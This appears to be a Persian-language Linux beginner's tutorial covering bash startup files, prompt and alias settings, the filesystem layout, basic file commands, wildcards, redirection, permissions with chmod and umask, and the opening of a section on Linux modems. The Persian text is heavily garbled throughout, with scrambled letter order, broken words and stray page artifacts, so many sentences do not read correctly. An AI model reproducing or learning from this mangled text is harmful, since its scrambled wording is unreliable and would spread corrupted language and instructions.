ر  فایل این مچنينه . ميکند تعيين را ميکنيد ایجاد که اییهفایل برای گزیده پيش ایه مجوز و کنيد ایجاد ميتوانيد شما  ایه  متغيي

  .ميکند تنظيم را تاریخچه ایهفایل اندازه و پستی صندوق محل مانند محيطی
  

• : etc/bashrc پوسته که کاربری ره برای فایل این bashتنظيم  را فرمان اعلان حالت فایل این . ميشود اجرا ميکند، اجرا را 
  .گيرد قرار تاثير تحت دارد، وجود کاربر ره خانگی دایرکتوری در که bashrc فایل توسط ميتواند فایل این مقادیر . ميکند

  
• : ~/.bashrc به مربوط اطلاعات حاوی فایل این  bashستم  به که ميشود خوانده نگامیه فایل این . ميباشد کاربر ره  وارد سي

د  پوسته  یک که گاه ره و ميشود از  جدی د  ب ا  . ميکني رین هب اینج رای  مکان  ت ره  ب ستعار  ایه فرمان و محيطی  ایه متغيير ذخي  م
  .است خودتان خاص

  
• : ~/.bash_profile رد  بکار پوسته از استفاده در کاربر ره که خاصی اطلاعات کردن وارد برای فایل این ن  . ميباشد  ميب  ای

 یهد مقدار را محيطی ایه متغيير از تعدادی فایل این . ميشود وارد سيستم به کاربر که نگامیه . ميشود اجرا یکبار اهتن فایل
   .ميکند اجرا را ربرکا به مربوطbashrc  فایل و کرده

  
• : ~/.bash_logout ميکند پاک را نمایش صفحه  فقط فایل این .ميشود اجرا ميشوید خارج سيستم از شما که گاه ره فایل این.  

  
  
  

يد  شده  سيستم وارد ریشه کاربر با باید etc/bashrc و etc/profile  ایهفایل تغيير برای اربر  ره  . باش د  ک  در موجود  اطلاعات  ميتوان
   .دهد تغيير را خود ایه دایرکتوری در موجودbash_logout  و bash_profile، bashrc ایهفایل
  
 . ميشوید آشنا فرمان پوسته پيکربندی ایهفایل تنظيمات برخی با زیر قسمت در
 
رات  موارد، بيشتر رد ل  در تغيي وری  در موجود  bashrc فای رد  صورت  خانگی  دایرکت د ه . ميگي ه  صورتی  در رچن دیر  یک  ماش  ک  م

  .کنيد اعمال خود کاربران کل برای را تنظيمات این است ممکن باشيد، سيستم
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  فرمان اعلان اتتنظيم
 

ه  گاه ره که است شده تشکيل کاراکتر تعدادی از شما فرمان اعلان ه  ک ایش  ب د،  می  در نم ی  آی ن  آن معن ه  است  ای ان  پوسته  ک اده  فرم  آم
ه  صورتی در . دارد قرار PS 1 محيطی متغيير در فرمان اعلان تمحتویا . است جدید فرمان دریافت ان  پوسته  ک ه  شما  فرم  ورودی ب
   .شد دهخوا استفاده نيزPS 4 و PS 2، PS3 مقادیر از باشد، داشته نياز بيشتری

  
  
شود  تنظيم  طوری  فرمان اعلان ميشود، نصب شما لينوکس سيستم که نگامیه ه  مي ر  اطلاعات  حاوی  ک ام  شما،  اربریک  امن  باشد  زی  ن

 کاربران برای آن ایهانت در و گرفته قرار براکت دو ميان در اطلاعات این . دارید قرار آن در اکنون که دایرکتوری نام و شما کامپيوتر
  :ميبينيد را فرمان اعلان یک از مثالی زیر در . دارد قرار (#) پوند علامت ریشه کاربر برای و ($) دلار علامت یک عادی

 
[alan@Memphis alan]$ 

  
ان  تاریخ، ترمينال، شماره شامل ميتواند اطلاعات این .کنيد اضافه تان فرمان اعلان به را مختلفی اطلاعات تا دارد وجود امکان این  زم
  : مثال برای .باشد دیگر اطلاعات و
  
  

   .دهميد نشان را فرمان تاریخچه فعلی شماره : \! •
  

   .دهميد نشان را دستور آخرین دستور شماره:  \# •
  

   .دهميد نشان را استاندارد فرمان اعلان : \$ •
 

• \W : دهميد نشان را جاری کاری دایرکتوری فقط.  
 

  ميشود داده نشان اسلش بک یک فقط : \\ •
 

• \d : ،مثلا .دهميد نمایش را روز شماره و ماه روز Sat Jan ٢٣  
 

• \h : دهميد نشان را ميزبان کامپيوتر نام  
 

• \n : ميکند باز جدید خط یک  
 

• \s  :مثلا  .دهميد نشان را فرمان پوسته نام bash 
  

• \t  :١٠:١٤:٤٠ : مثال برای .دهميد نمایش ثانيه و دقيقه ساعت، بصورت را زمان 
  

• \u : دهميد نمایش را کاربر نام  
 

• \w  :دهميد نمایش را جاری دایرکتوری کامل مسير.  
  

د  يد،هميد تغيير فرمان پوسته در مربوطه مقادیر تایپ با موقت تصور به را خود فرمان اعلان که صورتی در : نکته ادیر  بای  PS 1 مق
   :دستور مثلا . يدهد قرار گيومه دو بين را
 

export PS1=”[\t\w]\$]” 
  
   :نشان زیر صورت به را فرمان اعلان دهيدم
 

[20:25:40 /var/spool/mail]$ 
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اد  برای رات  ایج ان،  اعلان  در دائمی  تغيي د  فرم دار  بای ه  را PS 1 مق ل  ب وری  در موجود  bashrc فای د  اضافه  خود  خانگی  دایرکت   .کني
  .يدهد تغيير آنرا است کافی و دارد وجود قبلا مقدار این معمولا

  
 

  مستعار اسامی تنظيم
 
 اسامی  کردن  اضافه  برای . کنيد تعيين اصلی فرمان بجای را مستعاری اسامی بيشتر، آسانی برای تا دارد وجود امکان این لينوکس در

   :کنيد توجه زیر ایهمثال به .کنيد استفادهalias دستور از باید مستعار
 

$ alias p='pwd; ls -CF' 
$ alias rm='rm -i' 

  
  
رده  اجرا را pwd دستور p  حرف نخست مثال در ه  شد  ده خوا اجرا ls -CF دستور  آن از پس  و ک ات  ک وری  محتوی  را جاری  دایرکت

   .شود اجرا I  گزینه با فقط تا است شده تنظيم طوری rm  دستور دوم، مثال در .کرد دهخوا چاپ
  
د،  تایپ اییهتن به راalias دستور که صورتی در ستی  کني ستعاری  اسامی  از لي ه  م رده  تنظيم  ک د  ک ایش  ای شود  داده نم  داشته  توجه   . مي

  .روند نمی بين از فرمان هپوست بستن با و شده ذخيره پيکربندی فایل یک در مستعار اسامی که باشيد
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  لينوکس فايل سيستم با کردن کار
 

امپيوتر  در را شما  اطلاعات  که است ساختاری لينوکس فایل سيستم ره  ک د  ذخي ی  ساختار  یک  در اه فایل . ميکن وری  از درخت  اه  دایرکت
ره  شوند  ذخي وری  ره  .مي د  دایرکت وری دا و اه فایل حاوی  ميتوان ه  صورتی  در . باشد  دیگری  ایه  یرکت د هبخوا ک ستم  ساختار  ي ل  سي  فای
شه  دایرکتوری نقطه، بالاترین در . است وارونه درخت یک شبيه بيشتر آن کنيد، توصيف تر دقيق را لينوکس رار  ری ه  دارد ق يله  ک  بوس

  سيستمی و عمومی ایه دایرکتوری آن زیر در . ميشود داده نشان اهتن اسلش یک
  

 دیگریی ها دایرکتوری محتوی اه دایرکتوری این از کدام رهtmp  و  bin ،  dev، home مانند . ميگيرند قرار لينوکس عامل مسيست
  .دهميد نشان را لينوکس فایل سيستم درختی ساختار ٢ تصویر .ستنده
  

 
 لينوکس فایل سيستم ساختار ٢ تصویر

  
  

  .اند شده داده توضيح زیر در لينوکس فایل سيستم مهم ایه دایرکتوری از برخی
  

• bin   :مانند .دارند قرار دایرکتوری این در لينوکس عامل سيستم عمومی فرامين  ls، sort و chmod 
  

• : dev ال  مانند . است شما کامپيوتر افزاری سخت ایهابزار به دسترسی نقاط حاوی ی  ایه  دیسک  (tty) اه  ترمين  ، (fd)فلاپ
 .ميکنند استفاده اهآن ایهنام از اههدستگا این به دستيابی برای معمول بطور برانکار ... و  (hd)سخت ایه دیسک

 
• : etc است سيستم پيکربندی ایهفایل برخی حاوی  

  
• : home ميگيرد قرار دایرکتوری این در لينوکس سيستم یک کاربران ایه دایرکتوری  

  
• Mnt : فلاپی مانند اه دیسک و اهابزار کردن متصل برای را محلی  CD-ROM ميکند ایجاد شبکه ایه درایو و  

 
• : root است ریشه کاربر خانگی دایرکتوری  

  
• : sbin ميگيرند قرار دایرکتوری این در سيستم مدیریتی دستورات  

 
• : tmp موقت ایهفایل قرارگيری محل  

  
• : usr دیگر ایهچيز بسياری و اه کتابخانه گرافيکی، ایهفایل ا،ه بازی سيستم، مستندات قرارگيری محل .   
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 ميشود دیده ميان این در نيز اییه تهشبا که ی وجود با . ستنده متفاوت لينوکس در آن ساختار با ویندوز و داس در فایل سيستم ساختار
  :ستنده زیر شرح به عمده ایه تفاوت ولی

 
ه  حروفی ز ا تسخ  دیسک  مختلف  ایه پارتيشن و مختلف سازی ذخيره ایهابزار به دسترسی برای ویندوز و داس در ه  ک ام  ب و  ن  درای

  در ... و سخت دیسک برایC  ، فلاپی برای A مانند . ميکردید استفاده بودند موسوم
ل  سيستم دل در سازی ذخيره ایهابزار تمام لينوکس ا  فای ام  مهب د  شده  ادغ ثلا  .ان ات  م ی  یک  محتوی  mnt/floppy مسير  در دیسک  فلاپ
  ولی باشيد نداشته عادت سيستم این به اصلا کار ابتدای در است ممکن ... و ميگيرد قرار
 کرد، يدهخوا استفاده خود اطلاعات و اهفایل ذخيره برای شما که محلی . کرد يدهخوا عادت آن به مدتی از پس
  .شماست خانگی دایرکتوری مانه
  
تفاده  اسلش از لينوکس در که حالی در ميشود استفاده اسلش ک یاز اهمسير و اه پوشه کردن جدا برای ویندوز و داس فایل سيستم در  اس

  .ميشود
  
ونيکس  و لينوکس رایب اه فایل پسوند ...و متنی ایهفایل برایtxt  مانند . اند بوده پسوند یک دارای ميشهه ویندوز و داس در اهفایل نام  ی
  .دهميد تشخيص را فایل نوع پسوند، به توجه بدون لينوکس فایل سيستم . نيستند لازم

 
ا  و کرده جلوگيری · آن به مجاز غير کاربران دسترسی از که است خصوصياتی و اه مجوز دارای لينوکس در دایرکتوری و لفای ره  ی
را  نيست  خبری اه مجوز این از ویندوز و داس ایهسيستم بيشتر در . ميکند محدود را دسترسی این ن  زی ستم  ای دا  در اهسي  بصورت  ابت

 کاربره چند بصورت که NT ویندوز بر مبتنی ایهسيستم ویندوز، ایهسيستم در . اند شده سازی هپياد و طراحی کاربره تک ایهسيستم
  .است شده سازی پياده اه مجوز این ستنده
 
 

  اه دايرکتوری و اهفايل ايجاد
  
 
ردم،  اشاره بالا در که مانطوره ، لينوکس کاربر یک عنوان به شتر  ک وری  و اه فایل بي وری دایر در را خود  ایه  دایرکت  خود  خانگی  کت

  :ميشوید آشنا ستنده مفيد زمينه این در که دستور چند با اینجا در .کرد يدهخوا ذخيره و ایجاد
  

• : cd اید کرده کار داس  در دستور این مشابه با حتما دهميد تغيير ميکنيد تعيين که دیگری مسير به را جاری مسير دستور این.  
 

• : pwdميکند چاپ را یفعل دایرکتوری مسير دستور  این.  
  

• : mkdir ميکند ایجاد دایرکتوری یک دستور این  
  

• : chmod ميرود بکار دایرکتوری و فایل ایهمجوز تغيير برای دستور این.  
  

• : ls دستور مشابه .ميکند چاپ را مسير یا دایرکتوری یک محتویات دستور این dir داس در. 
  

ه  صورتی  در . پردازیم می راتدستو این بکارگيری برای تمرین کمی به اکنون خوب انطور ه ستيد،ه  گرافيکی  حالت  در ک ه  م بلا  ک  ق
  .کنيد باز ترمينال پنجره یک شد، گفته

  
 .کنيد تایپ را cd دستور است کافی ، جا ره از خود خانگی دایرکتوری به حرکت برای 

 
 .نيدک تایپ را pwd  دستور خود، خانگی دایرکتوری در قرارگيری از اطمينان حصول برای

  
$ pwd 
/home/alan 

  
  :کنيد ایجاد  test نام به دایرکتوری یک mkdir دستور از استفاده با
 

$ mkdir test 
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  کنيد بررسی ls دستور از استفاده با را شده ایجاد دایرکتوری ایهمجوز

 
$ ls -ld test 
drwxrwxr-x 3 alan alan 4096 May 17 20:14 test 

  
ه  ده ميد نشان فرمان خروجی وری  یک  test  ک وده  دایرکت اربری  آن مالک  و ب ه  ک ام  ب ه  است  alan  ن ه  ک روه  ب ق  alan گ  و داشته  تعل
 کنيد تنظيم طوری را دایرکتوری این ایهمجوز يدهميخوا کنيد تصور .است کرده تغيير دقيقه ١۴:٢٠ ساعت در می  ١٧ در بار آخرین

شتر  مورد این در .کنند استفاده و دیده را شما دایرکتوری محتویات نندنتوا ميکنند استفاده کامپيوتر این از که دیگری افراد که  توضيح  بي
  .داد مهخوا

  
 
  :کنيد تایپ را زیر دستور کنونا

 
$ chmod 700 test 

  
ن  ه  دستور  ای ام  شما  ب تفاده  ایه مجوز تم ر  و اس وری  تغيي ه  حالی  در ده ميد را دایرکت ه  ک ی  اجازه  دیگران  ب شا  حت ات  دههم ن  محتوی  ای

الا  در کهls  دستور مجددا اگر .شد دهنخوا داده نيز توریدایرک د  تایپ  ب د،  بکار  را کردی ن  ببری ار  ای  drwx------ بصورت  اه  مجوز  ب
  .شد دهخوا داده نمایش

 
  شوید وارد test  دایرکتوری به cd دستور از استفاده با مرحله این در
 

$ cd test 
  
 استفاده زیر راه دو از یکی از ميتوانيد دارد قرار مسيری چه در شما خانگی دایرکتوری بدانيد تا داشتيد نياز که نگامیه

 : کنيد
  HOME  محيطی متغيير •
   ~ علامت •

 :ميشود داده نمایش شما خانگی دایرکتوری مسير ، فرمان اعلان مقابل بالا موارد از یکی تایپ با
  

$ ~ 
/home/alan 

  
  :کنيد عمل زیر صورت به است کافی دیگر کاربر یک خانگی دایرکتوری نمایش برای

 
$ ~chris 
/home/chris 

  
   :ستنده مفيد بسيار که دارند وجود نيز دیگری فرامين اهآن در کارکردن و اه دایرکتوری بين حرکت در
 

  · : مثلا . است جاری مسير ندههنشاند : نقطه یک •
 

$ cp /usr/local/mygame . 
  

  .ميکند کپی ) بود تان خانگی دایرکتوری که(  جاری مسير به را mygame  فایل بالا دستور
  

   : مثلا . است ماقبل مسير ندههنشاند : نقطه دو •
 

$ mv mygame .. 
  

  ميکند منتقل) home دایرکتوری(  تان خانگی دایرکتوری بالاتر مسير به را mygame فایل بالا دستور
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 است فعلی توریدایرک از قبل جاری دایرکتوری ندههنشاند OLDPWD :محيطی متغيير •

 
  

  فرمان خط ایه رعمل گ و ويژه ایه کاراکتر از استفاده
 

 با .ستنده موسوم اهگر عمل و ویژه ایه کاراکتر به که دارند وجود مخصوصی ایه کاراکتر ، فرمان پوسته از تر کارآمد استفاده برای
تفاده  با و کرده جویی صرفه فایل چند یا یک نام کامل تایپ در ميتوانيد مخصوص ایه کاراکتر  یک  از را اطلاعاتی  اه گر عمل  از اس

 .کنيد دایته دیگر فایل یا دستور یک به دستور یا فایل
  
  

  اهفايل نام مخصوص ويژه ایه کاراکتر از استفاده
 

ان  پوسته  ، اه فایل از ای دسته  آسانتر انتخاب و تایپ مقدار کردن کم برای ه  فرم تفاده  امکان  شما  ب اراکتر  از اس ژه و ایه  ک  .ده ميد را ی
  : از عبارتند کنيد استفاده اهفایل نام بين ميتوانيد اهآن از که ای ویژه ایه کاراکتر

 
 گيرد قرار اه کاراکتر از تعدادی ره بجای ميتواند : (*) ستاره علامت •
  گيرد قرار کاراکتر یک بجای ميتواند : (?) سوال علامت •
   ميگذارند اثر اهفایل انتخاب در براکت در شده رذک ایه کاراکتر تمام : ([...]) براکت دو علامت •

  
ن  بکارگيری تمرین برای اراکتر  ای ه  اه  ک وری  یک  ب د  خالی  دایرکت وری  مانن ه test  دایرکت بلا  ک اد  ق د  ایج ه  (کردی ا  و رفت تفاده  ب  ) از اس
  : کنيد ایجاد را خالی ایهفایل از ای دسته زیر دستور

 
$ touch apple banana grape grapefruit watermelon 

  
  : کنيد توجه فرمان ره خروجی به .ميکنيم استفاده ls دستور از ویژه ایه کاراکتر عملکرد چگونگی ترهب درک برای حال

  
$ ls a* 
apple 
$ ls g* 
grape 
grapefruit 
$ ls g*t 
grapefruit 
$ ls *e* 
apple grape grapefruit watermelon 
$ ls *n* 
banana watermelon 

  
شود  شروع a کاراکتر با که را فایلی ره نخست مثال ایش  را مي ال  .ده ميد نم ام  بعدی  مث ه  را اییه فایل تم ا  ک شوند  شروع  g  ب ایش  مي  نم
ه  اییهفایل بعدی مثال دو در و ميشوند داده نمایش ميشوند ختم t  به و شده شروع g  با که اییهفایل بعدی مثال در .دهميد  n و e حاوی  ک
   .ميشوند داده نمایش ستنده
 
  :کنيد توجه سوال علامت کاراکتر مورد در مه مثال چند به
 

$ ls ????e 
apple grape 
$ ls g???e* 
grape grapefruit 
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g با که اییهفایل دوم مثال در .ميشوند داده نمایش است e و شده  شروع  اه آن آخر  حرف و بوده حرف ۵ دارای که اییهفایل اول مثال در 
   .دهميد نمایش را استe  اهآن پنجم کاراکتر

 
  :اهبراکت مورد در اییه مثال حال

 
$ ls [abw]* 
allpe banana watermelon 
$ ls [agw]*[ne] 
apple grape watermelon 

  
 شده  شروع  w و a ، g با که اییهفایل تمام دوم مثال در.ميشود داده نمایش ميشوند شروع w و a، b  با که اییهفایل تمام نخست مثال در
   .ميشوند داده نمایش ميشوند، ختم e یا  n به و
  
 
  

  اهفايل دايته مخصوص ويژه ایه کاراکتر از استفاده
  
 

دی  لوله از استفاده با . ندهميد نمایش استاندارد خروجی روی و کرده دریافت استاندارد ورودی از را خود ورودی دستورات ه  بن بلا  ک  ق
ا  . کنيم متصل دیگر دستور ورودی به را ردستو یک خروجی ميتوانستيم ، شد داده شرح د  اه فایل ب اراکتر  از ميتواني  از کوچکتر  ایه  ک
  :از عبارتند اه کاراکتر این .کنيد استفاده اهفایل به/از اه داده دایته برای (>) از بزرگتر و (<)

 
 ميکند دایته دستور یک به را فایل یک محتویات : < کاراکتر •
را  باشد،  داشته وجود نام مانه به فایلی که صورتی در و کرده دایته فایل یک به را فرمان یک خروجی : > کاراکتر • اک  آن  پ

 .ميکند
  داشته وجود نام مانه به فایلی که صورتی در و کرده دایته فایل یک به را دستور یک خروجی : >> کاراکتر •

  
  :کنيد توجه رزی ایهمثال به ترهب درک برای .شد دهخوا اضافه آن آخر به اطلاعات باشد،

 
$ mail root < ~/.bashrc 
$ nroff -man /usr/share/man/man1/chmod.1* > /tmp/chmod 
$ echo “I finished the project on $(date)” >> ~/projects 

  
امپيوتر  root  کاربر به الکترونيک پست پيام یک در خانگی، دایرکتوری در bashrc  فایل محتویات نخست مثال در شود  سال ار ک  .مي
 نيز آخر مثال . ميشود ارسال فایل به خروجی و شده بندی فرمتnroff دستور از استفاده با chmod  دستور کمک صفحه دوم، مثال در

  :شود اضافه دارد، وجود کاربر خانگی دایرکتوری در که projects فایل tmp/chmod به زیر خط تا شد دهخوا باعث
 

I finished the project on Sun May 25 14:25:36 IRST 2003 
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 ٣٢٢    صفحه

  (File Permissions)فايلها مجوزهای درک
  

د  اییه پيام به مطمئنا کردید، کار لينوکس با مدتی اینکه از پس د هخوا برخورد Permission Denied  مانن رد  ي  و اه فایل ایه مجوز . ک
اربران  خصوصی  اطلاعات و اهفایل به کاربران ترسیدس از که اند شده ایجاد علت این به لينوکس در اه دایرکتوری وگيری  دیگر  ک  جل

ستمی  ایهفایل از و آورده عمل به ل  در سي دگی  آسيب  مقاب د  حفاظت  دی ه  . کنن ن  ب ه  علت  ای ل  ره  ب شود  اضافه  بيت  ٩ فای ه  مي  معرف  ک
ين  بيت سه نخستين . ميشوند داده نمایشrwxrwxrwx  بصورت اهبيت این . بود دهخوا فایل آن به دیگران و شما دسترسی چگونگی  تعي

شانگر  r  است  دیگران  دسترسی  نحوه  تعيين برای بعدی بيت سه و مالک گروه برای بعدی بيت سه . است فایل مالک دسترسی کننده  ن
 به ود،ش داده نمایش (-) دش علامت حروف این از یکی بجای که درصورتی . ستنده اجرا اجازه شانگرنx و نوشتن نشانگر w خواندن

  . است فعال غير اجازه این که است معنی این
  

  : کنيد توجه زیر مثال به .کنيد استفادهls -ld  دستور از ميتوانيد دایرکتوری یا فایل ره ایهمجوز نمایش برای
  

$ ls -ld ch3 test 
-rw-rw-r-- 3 alan alan 4096 May 22 15:11 ch3 
drwxr-xr-x 3 alan alan 4096 May 17 20:14 test 

  
ل  خواندن اجازه فقط کاربران سایر . است گروه و مالک برای نوشتن و خواندن مجوز دارای که دهميد نشان را فایلی نخست خط  را فای
ن  . ستنده  دارا ه  ای ن  ب ی  ای ه  است  معن د  اه آن ک ل  ميتوانن ی  دن ببين را فای ری  يچه  ول د  نمی  تغيي ال  آن در توانن د  اعم  یک  دوم خط  . کنن

ا  اه مجوز که کنيد دقت . است دایرکتوری ه  d حرف  ب ه  ک ی  ب وری  معن وری  مالک  . است  شده  آغاز  است  دایرکت  اجازه  دارای دایرکت
دن،  د  مالک  اه تن نتيجه  در . است  اجرا  و نوشتن  خوان ن  در را اه فایل ميتوان وری  ای رده،  اضافه  دایرکت ر  ک اک  و داده تغيي د  پ ه  . کن  بقي
 .ببينند آنرا محتویات و شده وارد دایرکتوری این به ميتوانند یعنی . دارند خواندن اجازه اهتن کاربران

 
 
د  تنظيم  خودتان نياز مطابق آنرا ایهمجوز ميتوانيد باشيد، فایل یک مالک شما که صورتی در ن  . کني ار  ای يله  ک  ، chmod دستور  بوس

 .١ اجرا و ٢ نوشتن،  ۴ خواندن . است شده رفتهگ نظر در عددی اجرا و نوشتن خواندن، ایهمجوز از ریکه برای . است پذیر امکان
روه  رایب  ) .١+٢+۴ (شود تعيين ٧ باید نخست بيت سه مقدار يد،هبد خودتان به را اه مجوز تمام اینکه برای بنابراین ایرین  و گ ز  س  ني
ر  ) مجوزی  يچه  (٠ و) کامل  مجوز  (٧ بين اه مجوز . کنيد تعيين مجوز نيازشان به بنا ميتوانيد رای  .ستنده  متغيي ر هب شدن  روشن  ب  ت
  : کنيد توجه زیر ایهمثال به مطلب

 
$ chmod 777 files = rwxrwxrwx 
www.Simorgh-ev.com 
- 22 - 
$ chmod 755 files = rwxr-xr-x 
$ chmod 644 files = rw-r--r-- 
$ chmod 000 files = -------- 

  
 پيش مقادیر این . است ٧۵۵ مجوز این دایرکتوری مورد در . بود دهخوا ۶۴۴ آن گزیده پيش مجوز ميکنيد، ایجاد فایل یک که نگامیه

  :کنيد تایپ را زیر دستور umask  مقدار نمایش برای.ميشود تعيين umask  دستور توسط گزیده
 

$ umask 
022 

  
ن  با .کنيد کم ٧ از ميکنيد، دههمشا umask  دستور در که ی اعداد است کافی ار  ای ادیر  ک يش  مق ده گز پ رای  را ی وری  ب شا   دایرکت  دههم
ه  اهفایل مورد در زیرا .کنيد کم ۶ از را اعداد این باید اهفایل مورد در . کرد يدهخوا يش  طور  ب ده  پ ا  ( اجرا  مجوز  گزی دار  ب ر  ) ١مق  غي
  .است فعال

  
د  زمان یک در اهفایل از زیادی تعداد تغيير برا : نکته ه  از بای تفاده chmod دستور  R  گزین د  اس ن  .کني ه  دارد وجود  امکان  ای ا  ک  یک  ب
وری  ساختار  یک  درون ایه  دایرکتوری و اهفایل تمام ایهمجوز فرمان ر  را دایرکت رای  .ده د تغيي ال  ب رای  مث ر  ب ام  ایه مجوز تغيي  تم
   :کند تایپ را زیر دستور ميتوانيدtmp/test  مسير در موجود ایه دایرکتوری و اهفایل
 

$ chmod -R 777 /tmp/test 
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 بالا دستور که صورتی در ولی . است خوب بسيار اجرا مجوز اعطا و کامل ایهمجوز اعطا نگامه chmod دستور R  گزینه : رشداه
   .شوید وارد مسير آن در موجود ایه دایرکتوری از یک يچه به توانيد نمی دیگر کنيد اجرا ۶۴۴ مقدار با ٧٧٧ مقدار بجای را
  
 

  اهفايل کردن پاک و کپی انتقال،
  
 دستور  اه فایل کردن کپی برای . کنيد استفادهmv  دستور از باید فایل یک انتقال برای . است آسان بسيار اهفایل کردن پاک و انتقال پی،ک

cp دستور نيز اهفایل کردن پاک برای و دارد وجود  rmکنيد توجه زیر ایهمثال به .است استفاده قابل:   
 

$ mv abc def 
$ mv abc ~ 
$ cp abc def 
$ cp abc ~ 
$ rm abc 
$ rm * 

  
  دهميد تغيير def  به را abc  فایل نام نخست دستور

  
  د ميکن منتقل (~) کاربر خانگی دایرکتوری به را فایل این دوم دستور

  
   کرده کپی def فایل به را  abc فایل سوم، دستور

  
   .ميکند کپی کاربر خانگی دایرکتوری در آنرا ارمهچ دستور
 که حالی در ميکند پاک را abc  ایلف پنجم دستور

  
  دکر دهخوا پاک را جاری دایرکتوری محتویات تمام ششم دستور

 
ه  است شده تنظيم طوریalias دستور کمک به  rm دستور ریشه، کاربر برای : نکته رای  ک اک  ب ا  اه فایل کردن  پ اربر  از حتم شه  ک  ری
  .مياورد عمل به جلوگيری اشتباه اثر در اهفایل از زیادی تعداد تصادفی شدن پاک از اقدام این .شود سوال
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  چگونگی نصب مودم و اتصال به اینترنت در لينوکس
  
  
  
د  ی که غالب افراد می از امکانات یکی د از نصب ل  خواهن وکس ي بع ند، دسترس   ن ه ا ی داشته باش ستلزم درست    نی  است و ا نترنت ی ب ر، م  ام

   .باشد یکارکردن مودم م
  

ودم ی در ازایادی زی نهی هز کهي حال در ا   م دوز ی ویه ا ا شود،  ی پرداخت م   ین ه دل   نی  ام ا، ب ودم ه دارات     لي  م تن م ار رف ه ک  ب
ضا  ی  مسأله، به نوبه   نیا . شود ی ارزان تمام م   اري بس  آنها    سازندگان ی کوچک در آنها، برا    یکيالکترون  جهت  ی اضاف یی خود ف

دوز ی مودم و  کی بکار انداختن    یبرا .ت شما خواهد گرف   وتري کامپ CPU یپردازش رو  ه     ی ن ه کی  ب رم ی  قطع زار   ن ام   یاف ه ن  ب
“driver ”دوز ی و عامل   ستمي  تحت س  وترها،يکامپ% ٩٠ کهیي آنجا از .می دار ازين ه     شوند،  ی اجرا م    ن د ک ودم، معتقدن  سازندگان م

  .ستيها، مقرون به صرفه ن  مودمی برا ینوکسي لوری دراکی دي و تولیطراح
  
   

د ي دارد خوب کار میو همه چ... دی بار درست و کامل نصب کرده ا     نی ا ی رو بعد از چند بار امتحان و خراب کار         نوکسي ل دي کن فرض  کن
چرا؟  . دی شو ی م ی روح ی دچار افسردگ  دي کار کن  نترنتی با ا  دی که قصد دار   نیاما به محض ا    !!! دي به خودتون مفتخر هست    یالان حساب ... 

م اولش کل   ا دی م قاي شما رو نشناخته، دق  مستي س م مود نوکسيخوب چون ل   ه م ات   حال ین ه کم    شهي ن گرفت د ک ا بع و ا ی ام  جستجو  نترنت ی ت
  .دی شوی مواجه مWin Modem  ای Lin Modem به نام ی ادهی با پددیکرد

  
ه علت صرفه جو         ) Internal ( ی داخل ی از مودم ها   یلي که خ  دينا رو بد  نی ا دیشا  سمت مت ي در قییکه در بازار هست ب ا ی ،ق  ی از کاره

ارف ب   نیا!!!! هند ی عامل انجام م  ستمي بر قدرت س   هي و با تک   یخودشون رو به صورت نرم افزار      دون تع ه ب  نیشتري  هم مشخص هست ک
ه تول         .  استندوزی شود وی استفاده مان که از طرف کاربر  ی عامل ستميس راه قطع ه هم ا معمولا ب زار ه ده سخت اف  یدي پس سازندگان عم

ه ا     در  . دهند ی ارائه م  ندوزی عامل و  ستمي س ی آن قطعه را برا    وریخود درا  ا        ی مورد قطعات حرف ارت ه ل ک ر مث ا ک   ی ت  و تي في شبکه ، ب
ه م  زي نکسيونی و  نوکسي مانند ل  گری د ی عامل ها  ستمي س ی مربوط برا  درایور مرغوب معمولا    یمودم ها  ا   . شود ی ارائ ورد س ا در م  ریام

   !!!!!!!!!!!ده شی دهند ، عجب روزگاری مختلف رو نمیهادرایور  هيمت ته سازنده ها به خودشون زحدیقطعات شا
  
از    کدی هاستمي سی هاتی از مزیکی  س          نی ا) Open Source(ب دگان ب ابع ، توسعه دهن ودن من ه علت مشخص ب ه ب  در یاري هستش ک

ا ا     ني از هم   یکی.  کنند ی اون تلاش م   یسرتاسر جهان برا   اد ی تلاش ه ورد ن وری  دراج ا م      یرا ب ازي  م ودم ه ه م  ی قطعات مختلف از جمل
ودم از طرف ل  )  مشکل رو داشتم نيکه خودم هم هم ( دمی ها د  نوکسي که من بعد از نصب ل      ی مشکل نیشتريب .باشد وکس ينشناختن م  ی م ن
د ه. باش وب جامع وکس،ي لی خ ران سی ب ایاري ب ودم ه دوزی وی از م ا وری درا، ی ن سي لیی ه ردهی طراحینوک ا برخ   ک ت؛ ام  از یاس

شر نم      ی طراح اتيسازندگان و طراحان مودم، جزئ     د  ی خود را منت د                     کنن د فهمي دا خواهي ه بع شود ک اد مشکل بزرگی مي ن باعث ایج .  و ای
وکس ي تحت ل ، یندوزی ویمودم ها ت  ن ه درس رد، مگر ا    ی ب د ک ار نخواهن ا  وری  درانکه ی ک را Lin modem مخصوص  یه ا  ی  را ب  آنه

  .نصب نمود
  
 ی م داي  پدی  انجام بددی رو که بایی از کارهای فهرست کاملتی سانیشما در ا. هستش org.linmodems.www://http  تی قدم سانياول
   :دی آشنا شوری شروع با چند اصطلاح زیبرا .ديکن
  

• Win modem  : زار     شود  ی شناخته م پستي است از سخت افزار که به عنوان چیبيترک رم اف راه ن ه هم را  یب ه ب  ستمي  سی ک
  . شده استهي تهندوزیعامل و

   
• Lin modem  :از ینوع Win modemکار کندنوکسي عامل لستمي تواند تحت سی مگری دی است که به کمک نرم افزار .  

  
• LT Modem  :بزرگ از یا خانواده Win modemی هاپستي ها هستند که تحت چ )Lucent  Aegere ( ندکن یکار م.  

  
   
 ی اصلی از پردازش های ناشی ساختار، فشار نیا.  خاص خود را دارد    DSP و مدارات    on-board یها  کنترلر ،یافزار   مودم نرم    کی

ا دسترس          نوکسي با ل  یافزار   سخت یاغلب مودم ها  .  خواهد داشت  وتري کامپ CPU مودم، بر    یرو ود، ام د نم ار خواهن س      ی ک ا، ب ه آنه  اري ب
دوز ی در وی ارزشمند باشد؛ چون حت  اري بستواند ی میافزار  مودم سختکی داکردنيپ.  استیندوزی ویمودم هامشکل تر و گرانتر از      ن

  .  و صد البته پایداری بيشتر اتصال  خواهد بودشتري باري بسdial-up قی سرعت اتصال از طر،یافزار  مودم سختکی با زين
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  .شوند یم نیباني پشتنوکسي توسط لPlug-and-Play ی هامودم

   
ا .  مودم است chipset یی مودم خود ، شناسای براینوکسي لوری درا کی افتنی ی گام برا  نياول ام  ییابزاره ل ته  (ScanModem بن  هي قاب

ام  ی کار خود را به خوب نکهی ای براماش . کمک تان خواهد نمودنهي زمنیدر ا )  il.ac.technion.linmodems://http: از آدرس   انج
  :از قبيل  دي خود داشته باشستمي در مورد سی اطلاعاتدی دارازي نديده
  
